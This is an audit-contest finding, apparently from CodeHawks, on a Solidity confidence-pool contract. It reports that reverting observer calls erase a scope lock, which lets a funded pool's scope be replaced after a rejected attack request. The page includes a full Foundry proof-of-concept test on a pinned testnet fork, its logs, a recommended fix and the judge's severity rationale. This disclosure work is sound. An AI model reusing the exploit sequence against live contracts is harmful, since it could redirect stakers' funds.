FoundrySolidityLayer 2
7.25 ETH
Submission Details
Severity: low
Valid

Reverting first-observer paths erase the permanent scope lock, allowing funded pool scope replacement after rejection

Author Revealed upon completion

## Summary

During `ATTACK_REQUESTED`, `_observePoolState()` sets `scopeLocked`, but `pokeRiskWindow()` and `setPoolScope()` subsequently revert and erase that write. A legitimate rejection returns the Agreement to `NOT_DEPLOYED`, allowing funded scope replacement. Later corruption can then settle all principal and bonus against the wrong scope commitment.

## Description

### Intended behavior

Scope is mutable only in `NOT_DEPLOYED` or `NEW_DEPLOYMENT`. The first later-state observation permanently fixes the list used by the moderator to classify corruption.

### Actual behavior

1. A funded `[A]` pool reaches `ATTACK_REQUESTED` for an Agreement covering A and B.

2. `pokeRiskWindow()` and `setPoolScope()` each write, then revert and erase, the first lock.

3. A legitimate rejection returns the Agreement to `NOT_DEPLOYED`.

4. The sponsor replaces scope with another valid subset, such as `[A, B]`.

5. Later corruption is resolved against the replacement list, changing the full-pool recipient.

The precondition is that no successful economic call persists the lock before rejection.

## Root Cause

`_observePoolState()` writes `scopeLocked = true` for `ATTACK_REQUESTED`, but its callers revert that same transaction:

```solidity

_observePoolState();

if (scopeLocked) revert ScopePostLockImmutable(); // setPoolScope

_observePoolState();

if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached(); // poke

```

Because `ATTACK_REQUESTED` sets neither risk marker, both writes roll back. Rejection then deletes upstream registration history:

https://github.com/Cyfrin/battlechain-safe-harbor-contracts/blob/fde1b2abe9e5c27175f5b6f7324bcce6afc3b059/src/AttackRegistry.sol#L350-L383

## Risk

### Impact

**Medium:** incorrect settlement of the full 1,000-token principal plus 200-token bonus.

- Expansion, bad faith: `[A] -> [A, B]` redirects all 1,200 tokens to recovery; the unchanged `[A]` control pays the staker.

- Expansion, good faith: the changed pool pays all 1,200 tokens to the named whitehat; the unchanged control pays the staker.

- Narrowing: `[A, B] -> [A]` returns all 1,200 tokens to the staker; the unchanged `[A, B]` control pays the whitehat for the covered corruption.

### Likelihood

The sequence requires a rejected first request, no successful lock-persisting economic call, valid rescoping, and later corruption involving a changed account. All roles and parameters remain valid; no compromised registry or mock lifecycle is needed.

## Attack Path / Reproduction Path

1. Create and fund victim and control pools for an Agreement covering A and B.

2. Reach `ATTACK_REQUESTED`; call both reverting observer paths and confirm `scopeLocked == false`.

3. Legitimately reject to `NOT_DEPLOYED`, then replace only the victim scope.

4. Request again, approve, and reach `CORRUPTED`.

5. Resolve and claim victim and control under expansion bad-faith, expansion good-faith, and narrowing scenarios.

## External Preconditions

A legitimate rejection returns the Agreement to `NOT_DEPLOYED`; later corruption affects an account whose scope membership changed. The token is a standard ERC20.

## Internal Preconditions

The funded pool is unresolved and unlocked, only reverting observers run before rejection, and every replacement account belongs to the Agreement.

## Affected Code

Scoped commit: `58e8ba4ce3f3277866e4926f3140e597f9554a1e`.

- Observation rollback: [setPoolScope](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L636-L640), [pokeRiskWindow](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L649-L657), and [_observePoolState](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L778-L798).

- Scope replacement and settlement: [_replaceScope](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L746-L775) and [claim paths](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/src/ConfidencePool.sol#L322-L452).

- Specification: [fixed pool-local scope](https://github.com/CodeHawks-Contests/2026-07-bc-confidence-pools/blob/58e8ba4ce3f3277866e4926f3140e597f9554a1e/docs/DESIGN.md#L209-L231).

## Recommended Mitigation

Treat a new scope lock as successful work, so its transaction cannot roll back:

```solidity

function setPoolScope(address[] calldata accounts)

external

onlyOwner

returns (bool updated)

{

bool wasLocked = scopeLocked;

_observePoolState();

if (scopeLocked) {

// A revert here would erase a lock written by this call.

if (!wasLocked) return false;

revert ScopePostLockImmutable();

}

_replaceScope(accounts);

return true;

}

function pokeRiskWindow() external {

if (outcome != PoolStates.Outcome.UNRESOLVED) return;

bool wasLocked = scopeLocked;

_observePoolState();

bool scopeJustLocked = !wasLocked && scopeLocked;

if (!scopeJustLocked && riskWindowStart == 0 && riskWindowEnd == 0) {

revert RiskWindowNotReached();

}

}

```

Expose the return value or emit a lock-only event. Test both observer paths across rejection. If locking must occur without any pool transaction, the registry must expose monotonic transition history.

## Proof of Concept

```text

test/poc/ConfidencePoolScopeLockRollback.poc.t.sol

```

The test pins BattleChain block `17,036` and uses the real registry stack, configured moderator, and Agreement Factory. It deploys the scoped pools with a standard ERC20; no registry mocks or storage writes are used.

### Deterministic fork PoC

Run from the repository root:

```bash

BATTLECHAIN_TESTNET_RPC=https://testnet.battlechain.com \

forge test --match-path 'test/poc/ConfidencePoolScopeLockRollback.poc.t.sol' -vv

```

The tests cover three settlement variants and one successful-lock control.

### Deterministic fork logs

```text

[PASS] test_Control_SuccessfulEconomicCallPersistsLockAcrossRejection()

CONTROL: a successful one-unit contribution persists the scope lock

[PASS] test_PoC_BadFaithCorruptionRedirectsEntirePoolToRecovery()

scopeLocked after reverted ATTACK_REQUESTED poke false

full victim pool redirected to recovery 1200000000000000000000

unchanged control pool paid to staker 1200000000000000000000

[PASS] test_PoC_GoodFaithCorruptionRedirectsEntirePoolToWhitehat()

scopeLocked after reverted ATTACK_REQUESTED poke false

full victim pool paid to named whitehat 1200000000000000000000

unchanged control pool paid to staker 1200000000000000000000

[PASS] test_PoC_NarrowedScopeInvertsCorruptedSettlementToSurvived()

full narrowed pool returned to staker 1200000000000000000000

unchanged broad-scope pool paid to whitehat 1200000000000000000000

Suite result: ok. 4 passed; 0 failed; 0 skipped

```

### Local RPC PoC

Start a pinned local fork:

```bash

anvil --fork-url https://testnet.battlechain.com \

--fork-block-number 17036 --chain-id 627 --port 8547 --silent

```

Run the PoC through that local JSON-RPC endpoint:

```bash

cast chain-id --rpc-url http://127.0.0.1:8547

cast block-number --rpc-url http://127.0.0.1:8547

BATTLECHAIN_TESTNET_RPC=http://127.0.0.1:8547 \

forge test --match-path 'test/poc/ConfidencePoolScopeLockRollback.poc.t.sol' -vv

```

### Local RPC logs

```text

chain_id=627

block=17036

Suite result: ok. 4 passed; 0 failed; 0 skipped

```

### Determinism

Both modes pin chain ID `627` at block `17,036`; actors, transitions, scopes, funding, and balance assertions are fixed. No oracle, timing, ordering, or governance input is involved.

### Full PoC source

```solidity

// SPDX-License-Identifier: MIT

pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";

import {console2} from "forge-std/console2.sol";

import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

import {ConfidencePool} from "src/ConfidencePool.sol";

import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";

import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";

import {PoolStates} from "src/libraries/PoolStates.sol";

import {IAgreement} from "@battlechain/interface/IAgreement.sol";

import {IAgreementFactory} from "@battlechain/interface/IAgreementFactory.sol";

import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";

import {IBattleChainSafeHarborRegistry} from "@battlechain/interface/IBattleChainSafeHarborRegistry.sol";

import {

Account as BCAccount,

AgreementDetails,

BountyTerms,

Chain as BCChain,

ChildContractScope,

Contact,

IdentityRequirements

} from "@battlechain/types/AgreementTypes.sol";

contract PoCStandardStakeToken is ERC20 {

constructor(address staker, address contributor) ERC20("PoC Standard Stake Token", "PSST") {

_mint(staker, 1_000_000 ether);

_mint(contributor, 1_000_000 ether);

}

}

contract CoveredApplication {

uint256 public immutable applicationId;

constructor(uint256 applicationId_) {

applicationId = applicationId_;

}

}

contract ConfidencePoolScopeLockRollbackPoC is Test {

uint256 internal constant PIN_BLOCK = 17_036;

uint256 internal constant STAKE = 1_000 ether;

uint256 internal constant BONUS = 200 ether;

uint256 internal constant FULL_POOL = STAKE + BONUS;

address internal constant SAFE_HARBOR_REGISTRY = 0x07E09f67B272aec60eebBfB3D592eC649BDCFEFc;

address internal constant ATTACK_REGISTRY = 0x22134e878c409a0Eab7259d873b38e26Ca966d3C;

address internal constant AGREEMENT_FACTORY = 0xf52CEA27b9E20D03Ec48CDe4fafF8F27565646f2;

address internal sponsor = makeAddr("sponsor");

address internal poolModerator = makeAddr("poolModerator");

address internal staker = makeAddr("staker");

address internal contributor = makeAddr("contributor");

address internal whitehat = makeAddr("whitehat");

address internal recovery = makeAddr("recovery");

IAttackRegistry internal attackRegistry;

IAgreement internal agreement;

ConfidencePoolFactory internal confidencePoolFactory;

ConfidencePool internal victimPool;

ConfidencePool internal controlPool;

PoCStandardStakeToken internal stakeToken;

CoveredApplication internal coveredA;

CoveredApplication internal coveredB;

function setUp() public {

try vm.envString("BATTLECHAIN_TESTNET_RPC") returns (string memory rpc) {

vm.createSelectFork(rpc, PIN_BLOCK);

} catch {

vm.skip(true);

return;

}

assertEq(block.chainid, 627, "wrong BattleChain fork");

IBattleChainSafeHarborRegistry safeHarborRegistry = IBattleChainSafeHarborRegistry(SAFE_HARBOR_REGISTRY);

assertEq(safeHarborRegistry.getAttackRegistry(), ATTACK_REGISTRY, "registry pointer drift");

assertEq(safeHarborRegistry.getAgreementFactory(), AGREEMENT_FACTORY, "factory pointer drift");

attackRegistry = IAttackRegistry(ATTACK_REGISTRY);

coveredA = new CoveredApplication(1);

coveredB = new CoveredApplication(2);

agreement = _createRealAgreement();

stakeToken = new PoCStandardStakeToken(staker, contributor);

ConfidencePool poolImplementation = new ConfidencePool();

ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();

ERC1967Proxy factoryProxy = new ERC1967Proxy(

address(factoryImplementation),

abi.encodeCall(

ConfidencePoolFactory.initialize, (SAFE_HARBOR_REGISTRY, address(poolImplementation), poolModerator)

)

);

confidencePoolFactory = ConfidencePoolFactory(address(factoryProxy));

confidencePoolFactory.setStakeTokenAllowed(address(stakeToken), true);

victimPool = _createPool(_scopeA());

controlPool = _createPool(_scopeA());

_fundPool(victimPool);

_fundPool(controlPool);

assertFalse(victimPool.scopeLocked(), "victim starts mutable in NOT_DEPLOYED");

assertFalse(controlPool.scopeLocked(), "control starts mutable in NOT_DEPLOYED");

}

function test_PoC_BadFaithCorruptionRedirectsEntirePoolToRecovery() external {

_rewriteVictimScopeAndReachCorrupted();

uint256 recoveryBefore = stakeToken.balanceOf(recovery);

uint256 stakerBefore = stakeToken.balanceOf(staker);

vm.prank(poolModerator);

victimPool.flagOutcome(PoolStates.Outcome.CORRUPTED, false, address(0));

victimPool.claimCorrupted();

vm.prank(poolModerator);

controlPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));

vm.prank(staker);

controlPool.claimSurvived();

uint256 redirected = stakeToken.balanceOf(recovery) - recoveryBefore;

uint256 controlPayout = stakeToken.balanceOf(staker) - stakerBefore;

assertEq(redirected, FULL_POOL, "mutated scope redirects all principal and bonus");

assertEq(controlPayout, FULL_POOL, "original scope returns all principal and bonus");

assertEq(stakeToken.balanceOf(address(victimPool)), 0, "victim pool fully drained");

assertEq(stakeToken.balanceOf(address(controlPool)), 0, "control pool fully claimed");

console2.log("SCENARIO: bad-faith CORRUPTED versus original-scope SURVIVED");

console2.log("victim scope accounts after rollback/rewrite", victimPool.getScopeAccounts().length);

console2.log("full victim pool redirected to recovery", redirected);

console2.log("unchanged control pool paid to staker", controlPayout);

}

function test_PoC_GoodFaithCorruptionRedirectsEntirePoolToWhitehat() external {

_rewriteVictimScopeAndReachCorrupted();

uint256 whitehatBefore = stakeToken.balanceOf(whitehat);

uint256 stakerBefore = stakeToken.balanceOf(staker);

vm.prank(poolModerator);

victimPool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);

vm.prank(whitehat);

victimPool.claimAttackerBounty();

vm.prank(poolModerator);

controlPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));

vm.prank(staker);

controlPool.claimSurvived();

uint256 attackerPayout = stakeToken.balanceOf(whitehat) - whitehatBefore;

uint256 controlPayout = stakeToken.balanceOf(staker) - stakerBefore;

assertEq(attackerPayout, FULL_POOL, "mutated scope makes the full pool a bounty");

assertEq(controlPayout, FULL_POOL, "original scope remains a survived payout");

assertEq(victimPool.bountyClaimed(), FULL_POOL, "entire bounty entitlement claimed");

console2.log("SCENARIO: good-faith CORRUPTED versus original-scope SURVIVED");

console2.log("full victim pool paid to named whitehat", attackerPayout);

console2.log("unchanged control pool paid to staker", controlPayout);

}

function test_Control_SuccessfulEconomicCallPersistsLockAcrossRejection() external {

_requestAttack();

vm.startPrank(contributor);

stakeToken.approve(address(victimPool), 1);

victimPool.contributeBonus(1);

vm.stopPrank();

assertTrue(victimPool.scopeLocked(), "successful call persists ATTACK_REQUESTED observation");

_rejectAttack();

vm.prank(sponsor);

vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);

victimPool.setPoolScope(_scopeAB());

console2.log("CONTROL: a successful one-unit contribution persists the scope lock");

}

function test_PoC_NarrowedScopeInvertsCorruptedSettlementToSurvived() external {

ConfidencePool narrowedPool = _createPool(_scopeAB());

ConfidencePool originalScopeControl = _createPool(_scopeAB());

_fundPool(narrowedPool);

_fundPool(originalScopeControl);

_requestAttack();

vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);

narrowedPool.pokeRiskWindow();

assertFalse(narrowedPool.scopeLocked(), "reverted observation leaves broad scope mutable");

_rejectAttack();

vm.prank(sponsor);

narrowedPool.setPoolScope(_scopeA());

assertEq(narrowedPool.getScopeAccounts().length, 1, "funded scope narrowed after rejection");

assertEq(originalScopeControl.getScopeAccounts().length, 2, "control retains original broad scope");

_requestAttack();

vm.prank(attackRegistry.getRegistryModerator());

attackRegistry.approveAttack(address(agreement));

narrowedPool.pokeRiskWindow();

originalScopeControl.pokeRiskWindow();

vm.prank(sponsor);

attackRegistry.markCorrupted(address(agreement));

uint256 stakerBefore = stakeToken.balanceOf(staker);

uint256 whitehatBefore = stakeToken.balanceOf(whitehat);

vm.prank(poolModerator);

narrowedPool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));

vm.prank(staker);

narrowedPool.claimSurvived();

vm.prank(poolModerator);

originalScopeControl.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);

vm.prank(whitehat);

originalScopeControl.claimAttackerBounty();

uint256 narrowedPayout = stakeToken.balanceOf(staker) - stakerBefore;

uint256 originalScopeBounty = stakeToken.balanceOf(whitehat) - whitehatBefore;

assertEq(narrowedPayout, FULL_POOL, "narrowed scope wrongly returns the full pool to staker");

assertEq(originalScopeBounty, FULL_POOL, "original broad scope correctly pays corrupted bounty");

console2.log("SCENARIO: narrowed-scope SURVIVED versus original-scope CORRUPTED");

console2.log("full narrowed pool returned to staker", narrowedPayout);

console2.log("unchanged broad-scope pool paid to whitehat", originalScopeBounty);

}

function _rewriteVictimScopeAndReachCorrupted() internal {

_requestAttack();

vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);

victimPool.pokeRiskWindow();

assertFalse(victimPool.scopeLocked(), "poke rollback erases the first scope lock");

console2.log("scopeLocked after reverted ATTACK_REQUESTED poke", victimPool.scopeLocked());

vm.prank(sponsor);

vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);

victimPool.setPoolScope(_scopeAB());

assertFalse(victimPool.scopeLocked(), "setter rollback also erases the first scope lock");

_rejectAttack();

vm.prank(sponsor);

victimPool.setPoolScope(_scopeAB());

assertEq(victimPool.getScopeAccounts().length, 2, "funded victim scope rewritten");

assertEq(controlPool.getScopeAccounts().length, 1, "control retains original commitment");

_requestAttack();

address registryModerator = attackRegistry.getRegistryModerator();

vm.prank(registryModerator);

attackRegistry.approveAttack(address(agreement));

assertEq(

uint256(attackRegistry.getAgreementState(address(agreement))),

uint256(IAttackRegistry.ContractState.UNDER_ATTACK),

"real registry approval failed"

);

victimPool.pokeRiskWindow();

controlPool.pokeRiskWindow();

assertTrue(victimPool.scopeLocked(), "rewritten victim scope finally locks");

assertTrue(controlPool.scopeLocked(), "control scope finally locks");

vm.prank(sponsor);

attackRegistry.markCorrupted(address(agreement));

assertEq(

uint256(attackRegistry.getAgreementState(address(agreement))),

uint256(IAttackRegistry.ContractState.CORRUPTED),

"real registry corruption transition failed"

);

console2.log("real registry rejection and re-registration completed");

}

function _requestAttack() internal {

vm.prank(sponsor);

attackRegistry.requestUnderAttackForUnverifiedContracts(address(agreement));

assertEq(

uint256(attackRegistry.getAgreementState(address(agreement))),

uint256(IAttackRegistry.ContractState.ATTACK_REQUESTED),

"real registry request failed"

);

}

function _rejectAttack() internal {

address registryModerator = attackRegistry.getRegistryModerator();

vm.prank(registryModerator);

attackRegistry.rejectAttackRequest(address(agreement), false);

assertEq(

uint256(attackRegistry.getAgreementState(address(agreement))),

uint256(IAttackRegistry.ContractState.NOT_DEPLOYED),

"real registry rejection failed"

);

}

function _createRealAgreement() internal returns (IAgreement createdAgreement) {

BCAccount[] memory accounts = new BCAccount[](2);

accounts[0] = BCAccount({

accountAddress: _addressToString(address(coveredA)), childContractScope: ChildContractScope.None

});

accounts[1] = BCAccount({

accountAddress: _addressToString(address(coveredB)), childContractScope: ChildContractScope.None

});

BCChain[] memory chains = new BCChain[](1);

chains[0] =

BCChain({assetRecoveryAddress: _addressToString(recovery), accounts: accounts, caip2ChainId: "eip155:627"});

Contact[] memory contacts = new Contact[](1);

contacts[0] = Contact({name: "Security", contact: "security@example.test"});

BountyTerms memory terms = BountyTerms({

bountyPercentage: 10,

bountyCapUsd: 5_000_000,

retainable: true,

identity: IdentityRequirements.Anonymous,

diligenceRequirements: "none",

aggregateBountyCapUsd: 0

});

AgreementDetails memory details = AgreementDetails({

protocolName: "Confidence Pool PoC Agreement",

contactDetails: contacts,

chains: chains,

bountyTerms: terms,

agreementURI: "ipfs://confidence-pool-poc"

});

vm.prank(sponsor);

address agreementAddress =

IAgreementFactory(AGREEMENT_FACTORY).create(details, sponsor, keccak256("scope-lock-rollback-poc"));

createdAgreement = IAgreement(agreementAddress);

vm.prank(sponsor);

createdAgreement.extendCommitmentWindow(block.timestamp + 30 days);

assertTrue(createdAgreement.isContractInScope(address(coveredA)), "A missing from agreement scope");

assertTrue(createdAgreement.isContractInScope(address(coveredB)), "B missing from agreement scope");

}

function _createPool(address[] memory accounts) internal returns (ConfidencePool createdPool) {

vm.prank(sponsor);

address poolAddress = confidencePoolFactory.createPool(

address(agreement), address(stakeToken), block.timestamp + 31 days, 1 ether, recovery, accounts

);

createdPool = ConfidencePool(poolAddress);

}

function _fundPool(ConfidencePool pool) internal {

vm.startPrank(staker);

stakeToken.approve(address(pool), STAKE);

pool.stake(STAKE);

vm.stopPrank();

vm.startPrank(contributor);

stakeToken.approve(address(pool), BONUS);

pool.contributeBonus(BONUS);

vm.stopPrank();

assertEq(stakeToken.balanceOf(address(pool)), FULL_POOL, "pool funding mismatch");

}

function _scopeA() internal view returns (address[] memory accounts) {

accounts = new address[](1);

accounts[0] = address(coveredA);

}

function _scopeAB() internal view returns (address[] memory accounts) {

accounts = new address[](2);

accounts[0] = address(coveredA);

accounts[1] = address(coveredB);

}

function _addressToString(address account) internal pure returns (string memory) {

bytes memory alphabet = "0123456789abcdef";

bytes memory result = new bytes(42);

result[0] = "0";

result[1] = "x";

for (uint256 i; i < 20; ++i) {

result[2 + i * 2] = alphabet[uint8(uint160(account) >> (8 * (19 - i) + 4)) & 0x0f];

result[3 + i * 2] = alphabet[uint8(uint160(account) >> (8 * (19 - i))) & 0x0f];

}

return string(result);

}

}

```

Updates

Lead Judging Commences

inallhonesty Lead Judge 2 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Sponsor can atomically self-trigger ATTACK_REQUESTED and roll back scopeLocked via a reverting setPoolScope/pokeRiskWindow, reopening scope after a DAO rejection

Impact - Low Nothing moves when the scope is swapped, and the state afterward is pre-attack, so any staker who notices can withdraw in full. _replaceScope emits ScopeUpdated, which puts the change on-chain where it can be seen. Real loss needs a restarted attack cycle that breaches one of the substituted accounts with the original staker still in the pool, at which point their principal funds a CORRUPTED payout for coverage they never chose. Likelihood - Medium The step the sponsor cannot force is the moderator rejecting the attack request, though rejections are an ordinary registry operation. The rest they can arrange. Neither observation path can seal the lock in this state, and pausing the pool shuts the deposit routes, leaving only a full-exit withdraw to do it. So reaching the mutable-scope condition is not hard; what holds the severity down is how much has to go wrong afterward for anyone to actually lose money.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!